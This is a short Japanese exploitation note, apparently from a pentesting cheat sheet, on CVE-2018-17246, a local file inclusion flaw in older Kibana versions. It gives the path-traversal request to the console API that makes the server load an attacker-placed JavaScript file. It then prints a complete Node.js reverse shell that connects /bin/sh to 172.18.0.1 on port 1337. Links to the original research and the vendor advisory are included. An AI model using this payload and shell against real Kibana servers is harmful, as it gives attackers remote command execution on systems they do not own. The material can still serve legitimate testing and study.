
CVE-2018-17246 - Kibana LFI < 6.4.3 & 5.6.13
CyberArk Labs によって発見された Kibana のローカルファイルインクルージョン (LFI)。この LFI は、以下のペイロードを使用して Kibana サーバー上でリバースシェルを実行するために利用できます。
/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../path/to/shell.js
お察しのとおり、この攻撃は無制限のファイルアップロードや、サーバーにファイルを書き込むことを許可するその他の脆弱性と組み合わせる必要があります。
入力検証が行われていないため、JavaScript ファイルの名前を任意のものに変更できます。この場合、パストラバーサル手法を使用して、Kibana サーバー上の任意のファイルを選択できます。 ただし、注意すべき点として、Node の モジュールキャッシング 機能があります。基本的に、LFI はサニタイズされていないユーザー入力を Node の
require関数に送信することで機能するため、インクルードされたモジュール(攻撃者のペイロード)はファイル名によってキャッシュされます。つまり、同じペイロードを、例えばリバースシェルを取り戻すために送信することはできません。

脆弱性の詳細: https://www.cyberark.com/threat-research-blog/execute-this-i-know-you-have-it/
セキュリティ勧告: https://www.elastic.co/blog/kibana-local-file-inclusion-flaw-cve-2018-17246
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "172.18.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Node.js アプリケーションのクラッシュを防ぐ
})();